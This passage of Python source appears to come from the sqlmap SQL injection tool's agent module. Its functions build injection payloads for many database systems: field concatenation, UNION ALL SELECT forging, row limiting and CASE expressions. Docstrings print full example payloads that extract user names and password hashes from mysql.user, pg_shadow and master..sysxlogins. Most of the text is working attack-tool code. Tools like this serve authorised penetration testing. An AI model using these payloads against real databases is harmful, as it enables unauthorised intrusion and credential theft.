_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
734
concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
735
concatenatedQuery = re.sub(r"('%s'\|\|)(.+?)(%s)" % (kb.chars.start, re.escape(castedFields)), r"\g<2>\g<1>\g<3>", concatenatedQuery)
736
elif fieldsSelect:
737
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
738
concatenatedQuery += "||'%s'" % kb.chars.stop
739
elif fieldsNoSelect:
740
concatenatedQuery = "'%s'||%s||'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
741
742
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
743
if fieldsExists:
744
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
745
concatenatedQuery += "+'%s'" % kb.chars.stop
746
elif fieldsSelectTop:
747
topNum = re.search(r"\ASELECT\s+TOP(\s+\d+|\s*\([^)]+\))\s+", concatenatedQuery, re.I).group(1)
748
concatenatedQuery = concatenatedQuery.replace("SELECT TOP%s " % topNum, "TOP%s '%s'+" % (topNum, kb.chars.start), 1)
749
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
750
elif fieldsSelectCase:
751
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
752
concatenatedQuery += "+'%s'" % kb.chars.stop
753
elif fieldsSelectFrom:
754
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
755
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
756
concatenatedQuery = "%s+'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
757
elif fieldsSelect:
758
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
759
concatenatedQuery += "+'%s'" % kb.chars.stop
760
elif fieldsNoSelect:
761
concatenatedQuery = "'%s'+%s+'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
762
763
elif Backend.isDbms(DBMS.ACCESS):
764
if fieldsExists:
765
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1)
766
concatenatedQuery += "&'%s'" % kb.chars.stop
767
elif fieldsSelectCase:
768
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&(SELECT " % kb.chars.start, 1)
769
concatenatedQuery += ")&'%s'" % kb.chars.stop
770
elif fieldsSelectFrom:
771
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1)
772
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
773
concatenatedQuery = "%s&'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
774
elif fieldsSelect:
775
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1)
776
concatenatedQuery += "&'%s'" % kb.chars.stop
777
elif fieldsNoSelect:
778
concatenatedQuery = "'%s'&%s&'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
779
780
else:
781
warnMsg = "applying generic concatenation (CONCAT)"
782
singleTimeWarnMessage(warnMsg)
783
784
if FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms()):
785
_ = re.sub(r"(?i)%s\Z" % re.escape(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]), "", concatenatedQuery)
786
if _ != concatenatedQuery:
787
concatenatedQuery = _
788
fieldsSelectFrom = None
789
790
if fieldsExists:
791
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
792
concatenatedQuery += "),'%s')" % kb.chars.stop
793
elif fieldsSelectCase:
794
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
795
concatenatedQuery += "),'%s')" % kb.chars.stop
796
elif fieldsSelectFrom or fieldsSelect:
797
fromTable = ""
798
799
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
800
if _:
801
concatenatedQuery, fromTable = concatenatedQuery[:_], concatenatedQuery[_:]
802
803
concatenatedQuery = re.sub(r"(?i)\ASELECT ", "", concatenatedQuery)
804
replacement = "'%s',%s,'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
805
chars = [_ for _ in replacement]
806
807
count = 0
808
for index in zeroDepthSearch(replacement, ',')[1:]:
809
chars[index] = "),"
810
count += 1
811
812
replacement = "CONCAT(%s%s)" % ("CONCAT(" * count, "".join(chars))
813
concatenatedQuery = "%s%s" % (replacement, fromTable)
814
elif fieldsSelect:
815
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
816
concatenatedQuery += "),'%s')" % kb.chars.stop
817
elif fieldsNoSelect:
818
concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
819
820
return concatenatedQuery
821
822
def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
823
"""
824
Take in input an query (pseudo query) string and return its
825
processed UNION ALL SELECT query.
826
827
Examples:
828
829
MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user
830
MySQL output: UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488
831
832
PostgreSQL input: (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow
833
PostgreSQL output: UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713
834
835
Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))
836
Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738
837
838
Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins
839
Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254
840
841
@param query: it is a processed query string unescaped to be
842
forged within an UNION ALL SELECT statement
843
@type query: C{str}
844
845
@param position: it is the NULL position where it is possible
846
to inject the query
847
@type position: C{int}
848
849
@return: UNION ALL SELECT query string forged
850
@rtype: C{str}
851
"""
852
853
if conf.uFrom:
854
fromTable = " FROM %s" % conf.uFrom
855
elif not fromTable:
856
if kb.tableFrom:
857
fromTable = " FROM %s" % kb.tableFrom
858
else:
859
fromTable = FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")
860
861
if query.startswith("SELECT "):
862
query = query[len("SELECT "):]
863
864
unionQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix)
865
866
if limited:
867
unionQuery += ','.join(char if _ != position else '(SELECT %s)' % query for _ in xrange(0, count))
868
unionQuery += fromTable
869
unionQuery = self.suffixQuery(unionQuery, comment, suffix)
870
871
return unionQuery
872
else:
873
_ = zeroDepthSearch(query, " FROM ")
874
if _:
875
fromTable = query[_[0]:]
876
877
if fromTable and query.endswith(fromTable):
878
query = query[:-len(fromTable)]
879
880
topNumRegex = re.search(r"\ATOP\s+([\d]+)\s+", query, re.I)
881
if topNumRegex:
882
topNum = topNumRegex.group(1)
883
query = query[len("TOP %s " % topNum):]
884
unionQuery += "TOP %s " % topNum
885
886
intoRegExp = re.search(r"(\s+INTO (DUMP|OUT)FILE\s+'(.+?)')", query, re.I)
887
888
if intoRegExp:
889
intoRegExp = intoRegExp.group(1)
890
query = query[:query.index(intoRegExp)]
891
892
position = 0
893
char = NULL
894
895
for element in xrange(0, count):
896
if element > 0:
897
unionQuery += ','
898
899
if conf.uValues and conf.uValues.count(',') + 1 == count:
900
unionQuery += conf.uValues.split(',')[element]
901
elif element == position:
902
unionQuery += query
903
else:
904
unionQuery += char
905
906
if conf.uValues:
907
unionQuery = unionQuery.replace(CUSTOM_INJECTION_MARK_CHAR, query)
908
909
if fromTable and not unionQuery.endswith(fromTable):
910
unionQuery += fromTable
911
912
if intoRegExp:
913
unionQuery += intoRegExp
914
915
if multipleUnions:
916
unionQuery += " UNION ALL SELECT "
917
918
for element in xrange(count):
919
if element > 0:
920
unionQuery += ','
921
922
if element == position:
923
unionQuery += multipleUnions
924
else:
925
unionQuery += char
926
927
if fromTable:
928
unionQuery += fromTable
929
930
unionQuery = self.suffixQuery(unionQuery, comment, suffix)
931
932
return unionQuery
933
934
def limitCondition(self, expression, dump=False):
935
startLimit = 0
936
stopLimit = None
937
limitCond = True
938
939
topLimit = re.search(r"TOP\s+([\d]+)\s+", expression, re.I)
940
941
limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
942
943
if hasattr(queries[Backend.getIdentifiedDbms()].limitregexp, "query2"):
944
limitRegExp2 = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query2, expression, re.I)
945
else:
946
limitRegExp2 = None
947
948
if (limitRegExp or limitRegExp2) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
949
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
950
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
951
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
952
953
if limitGroupStart.isdigit():
954
if limitRegExp:
955
startLimit = int(limitRegExp.group(int(limitGroupStart)))
956
stopLimit = limitRegExp.group(int(limitGroupStop))
957
elif limitRegExp2:
958
startLimit = 0
959
stopLimit = limitRegExp2.group(int(limitGroupStart))
960
limitCond = int(stopLimit) > 1
961
962
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
963
if limitRegExp:
964
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
965
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
966
967
if limitGroupStart.isdigit():
968
startLimit = int(limitRegExp.group(int(limitGroupStart)))
969
970
stopLimit = limitRegExp.group(int(limitGroupStop))
971
limitCond = int(stopLimit) > 1
972
elif topLimit:
973
startLimit = 0
974
stopLimit = int(topLimit.group(1))
975
limitCond = int(stopLimit) > 1
976
977
elif Backend.isDbms(DBMS.ORACLE):
978
limitCond = False
979
980
# We assume that only queries NOT containing a "LIMIT #, 1"
981
# (or equivalent depending on the back-end DBMS) can return
982
# multiple entries
983
if limitCond:
984
if (limitRegExp or limitRegExp2) and stopLimit is not None:
985
stopLimit = int(stopLimit)
986
987
# From now on we need only the expression until the " LIMIT "
988
# (or equivalent, depending on the back-end DBMS) word
989
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
990
stopLimit += startLimit
991
if expression.find(queries[Backend.getIdentifiedDbms()].limitstring.query) > 0:
992
_ = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
993
else:
994
_ = re.search(r"\bLIMIT\b", expression, re.I).start()
995
expression = expression[:_]
996
997
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
998
stopLimit += startLimit
999
elif dump:
1000
if conf.limitStart:
1001
startLimit = conf.limitStart - 1
1002
if conf.limitStop:
1003
stopLimit = conf.limitStop
1004
1005
return expression, limitCond, topLimit, startLimit, stopLimit
1006
1007
def limitQuery(self, num, query, field=None, uniqueField=None):
1008
"""
1009
Take in input a query string and return its limited query string.
1010
1011
Example:
1012
1013
Input: SELECT user FROM mysql.users
1014
Output: SELECT user FROM mysql.users LIMIT <num>, 1
1015
1016
@param num: limit number
1017
@type num: C{int}
1018
1019
@param query: query to be processed
1020
@type query: C{str}
1021
1022
@param field: field within the query
1023
@type field: C{list}
1024
1025
@return: limited query string
1026
@rtype: C{str}
1027
"""
1028
1029
if " FROM " not in query:
1030
return query
1031
1032
limitedQuery = query
1033
limitStr = queries[Backend.getIdentifiedDbms()].limit.query
1034
fromIndex = limitedQuery.index(" FROM ")
1035
untilFrom = limitedQuery[:fromIndex]
1036
fromFrom = limitedQuery[fromIndex + 1:]
1037
orderBy = None
1038
1039
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB, DBMS.DERBY):
1040
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
1041
limitedQuery += " %s" % limitStr
1042
1043
elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE):
1044
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
1045
limitedQuery += " %s" % limitStr
1046
1047
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,):
1048
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1)
1049
limitedQuery += " %s" % limitStr
1050
1051
elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE, DBMS.VIRTUOSO):
1052
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
1053
if query.startswith("SELECT "):
1054
limitedQuery = query.replace("SELECT ", "SELECT %s " % limitStr, 1)
1055
1056
elif Backend.getIdentifiedDbms() in (DBMS.MONETDB,):
1057
if query.startswith("SELECT ") and field is not None and field in query:
1058
original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0]
1059
for part in original.split(','):
1060
if re.search(r"\b%s\b" % re.escape(field), part):
1061
_ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1)
1062
replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num)
1063
limitedQuery = replacement
1064
break
1065
1066
elif Backend.isDbms(DBMS.HSQLDB):
1067
match = re.search(r"ORDER BY [^ ]+", limitedQuery)
1068
if match:
1069
limitedQuery = re.sub(r"\s*%s\s*" % re.escape(match.group(0)), " ", limitedQuery).strip()
1070
limitedQuery += " %s" % match.group(0)
1071
1072
if query.startswith("SELECT "):
1073
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
1074
limitedQuery = limitedQuery.replace("SELECT ", "SELECT %s " % limitStr, 1)
1075
else:
1076
limitStr = queries[Backend.getIdentifiedDbms()].limit.query2 % (1, num)
1077
limitedQuery += " %s" % limitStr
1078
1079
if not match:
1080
match = re.search(r"%s\s+(\w+)" % re.escape(limitStr), limitedQuery)
1081
if match:
1082
orderBy = " ORDER BY %s" % match.group(1)
1083
1084
elif Backend.isDbms(DBMS.CACHE):
1085
match = re.search(r"ORDER BY ([^ ]+)\Z", limitedQuery)
1086
if match:
1087
limitedQuery = re.sub(r"\s*%s\s*" % re.escape(match.group(0)), " ", limitedQuery).strip()
1088
orderBy = " %s" % match.group(0)
1089
field = match.group(1)
1090
1091
limitedQuery = queries[Backend.getIdentifiedDbms()].limit.query % (1, field, limitedQuery, num)
1092
1093
elif Backend.isDbms(DBMS.FIREBIRD):
1094
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, num + 1)
1095
limitedQuery += " %s" % limitStr
1096
1097
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
1098
if " ORDER BY " not in limitedQuery:
1099
limitStr = limitStr.replace(") WHERE LIMIT", " ORDER BY 1 ASC) WHERE LIMIT")
1100
elif " ORDER BY " in limitedQuery and "SELECT " in limitedQuery:
1101
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
1102
1103
if query.startswith("SELECT "):
1104
delimiter = queries[Backend.getIdentifiedDbms()].delimiter.query
1105
limitedQuery = "%s FROM (%s,%s" % (untilFrom, untilFrom.replace(delimiter, ','), limitStr)
1106
else:
1107
limitedQuery = "%s FROM (SELECT %s,%s" % (untilFrom, ','.join(f for f in field), limitStr)
1108
1109
limitedQuery = safeStringFormat(limitedQuery, (fromFrom,))
1110
limitedQuery += "=%d" % (num + 1)
1111
1112
elif Backend.isDbms(DBMS.MSSQL):
1113
forgeNotIn = True
1114
1115
if " ORDER BY " in limitedQuery:
1116
orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):]
1117
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
1118
1119
notDistincts = re.findall(r"DISTINCT[\(\s+](.+?)\)*\s+", limitedQuery, re.I)
1120
1121
for notDistinct in notDistincts:
1122
limitedQuery = limitedQuery.replace("DISTINCT(%s)" % notDistinct, notDistinct)
1123
limitedQuery = limitedQuery.replace("DISTINCT %s" % notDistinct, notDistinct)
1124
1125
if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
1126
topNums = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, limitedQuery, re.I)
1127
1128
if topNums:
1129
topNums = topNums.groups()
1130
quantityTopNums = topNums[0]
1131
limitedQuery = limitedQuery.replace("TOP %s" % quantityTopNums, "TOP 1", 1)
1132
startTopNums = topNums[1]
1133
limitedQuery = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num)
1134
forgeNotIn = False
1135
else:
1136
limitedQuery = re.sub(r"\bTOP\s+\d+\s*", "", limitedQuery, flags=re.I)
1137
1138
if forgeNotIn:
1139
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
1140
1141
if " ORDER BY " not in fromFrom:
1142
# Reference: https://web.archive.org/web/20150218053955/http://vorg.ca/626-the-MS-SQL-equivalent-to-MySQLs-limit-command
1143
if " WHERE " in limitedQuery:
1144
limitedQuery = "%s AND %s " % (limitedQuery, self.nullAndCastField(uniqueField or field))
1145
else:
1146
limitedQuery = "%s WHERE %s " % (limitedQuery, self.nullAndCastField(uniqueField or field))
1147
1148
limitedQuery += "NOT IN (%s" % (limitStr % num)
1149
limitedQuery += "%s %s ORDER BY %s) ORDER BY %s" % (self.nullAndCastField(uniqueField or field), fromFrom, uniqueField or '1', uniqueField or '1')
1150
else:
1151
match = re.search(r" ORDER BY (\w+)\Z", query)
1152
field = match.group(1) if match else field
1153
1154
if " WHERE " in limitedQuery:
1155
limitedQuery = "%s AND %s " % (limitedQuery, field)
1156
else:
1157
limitedQuery = "%s WHERE %s " % (limitedQuery, field)
1158
1159
limitedQuery += "NOT IN (%s" % (limitStr % num)
1160
limitedQuery += "%s %s)" % (field, fromFrom)
1161
1162
if orderBy:
1163
limitedQuery += orderBy
1164
1165
return limitedQuery
1166
1167
def forgeQueryOutputLength(self, expression):
1168
lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
1169
select = re.search(r"\ASELECT\s+", expression, re.I)
1170
selectFrom = re.search(r"\ASELECT\s+(.+)\s+FROM\s+(.+)", expression, re.I)
1171
selectTopExpr = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
1172
selectMinMaxExpr = re.search(r"\ASELECT\s+(MIN|MAX)\(.+?\)\s+FROM", expression, re.I)
1173
1174
_, _, _, _, _, _, fieldsStr, _ = self.getFields(expression)
1175
1176
if Backend.getIdentifiedDbms() in (DBMS.MCKOI,) and selectFrom:
1177
lengthExpr = "SELECT %s FROM %s" % (lengthQuery % selectFrom.group(1), selectFrom.group(2))
1178
elif selectTopExpr or selectMinMaxExpr:
1179
lengthExpr = lengthQuery % ("(%s)" % expression)
1180
elif select:
1181
lengthExpr = expression.replace(fieldsStr, lengthQuery % fieldsStr, 1)
1182
else:
1183
lengthExpr = lengthQuery % expression
1184
1185
return unescaper.escape(lengthExpr)
1186
1187
def forgeCaseStatement(self, expression):
1188
"""
1189
Take in input a query string and return its CASE statement query
1190
string.
1191
1192
Example:
1193
1194
Input: (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'
1195
Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y') THEN 1 ELSE 0 END)
1196
1197
@param expression: expression to be processed
1198
@type num: C{str}
1199
1200
@return: processed expression
1201
@rtype: C{str}
1202
"""
1203
1204
caseExpression = expression
1205
1206
if Backend.getIdentifiedDbms() is not None:
1207
caseExpression = queries[Backend.getIdentifiedDbms()].case.query % expression
1208
1209
if "(IIF" not in caseExpression and Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not caseExpression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]):
1210
caseExpression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]
1211
1212
return caseExpression
1213
1214
def addPayloadDelimiters(self, value):
1215
"""
1216
Adds payload delimiters around the input string
1217
"""
1218
1219
return "%s%s%s" % (PAYLOAD_DELIMITER, value, PAYLOAD_DELIMITER) if value else value
1220
1221
def removePayloadDelimiters(self, value):
1222
"""
1223
Removes payload delimiters from inside the input string
1224
"""
1225
1226
return value.replace(PAYLOAD_DELIMITER, "") if value else value
1227
1228
def extractPayload(self, value):
1229
"""
1230
Extracts payload from inside of the input string
1231
"""
1232
1233
_ = re.escape(PAYLOAD_DELIMITER)
1234
return extractRegexResult(r"(?s)%s(?P<result>.*?)%s" % (_, _), value)
1235
1236
def replacePayload(self, value, payload):
1237
"""
1238
Replaces payload inside the input string with a given payload
1239
"""
1240
1241
_ = re.escape(PAYLOAD_DELIMITER)
1242
return re.sub(r"(?s)(%s.*?%s)" % (_, _), ("%s%s%s" % (PAYLOAD_DELIMITER, getUnicode(payload), PAYLOAD_DELIMITER)).replace("\\", r"\\"), value) if value else value
1243
1244
def runAsDBMSUser(self, query):
1245
if conf.dbmsCred and "Ad Hoc Distributed Queries" not in query:
1246
query = getSQLSnippet(DBMS.MSSQL, "run_statement_as_user", USER=conf.dbmsUsername, PASSWORD=conf.dbmsPassword, STATEMENT=query.replace("'", "''"))
1247
1248
return query
1249
1250
def whereQuery(self, query):
1251
if conf.dumpWhere and query:
1252
if Backend.isDbms(DBMS.ORACLE) and re.search(r"qq ORDER BY \w+\)", query, re.I) is not None:
1253
prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), ""
1254
else:
1255
match = re.search(r" (LIMIT|ORDER).+", query, re.I)
1256
if match:
1257
suffix = match.group(0)
1258
prefix = query[:-len(suffix)]
1259
else:
1260
prefix, suffix = query, ""
1261
1262
if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
1263
prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
1264
elif re.search(r"(?i)\bWHERE\b", prefix):
1265
prefix += " AND %s" % conf.dumpWhere
1266
else:
1267
prefix += " WHERE %s" % conf.dumpWhere
1268
1269
query = prefix
1270
if suffix and not all(re.search(r"ORDER BY", _, re.I) is not None for _ in (query, suffix)):
1271
query += suffix
1272
1273
return query
1274
1275
# SQL agent
1276
agent = Agent()
1277
1278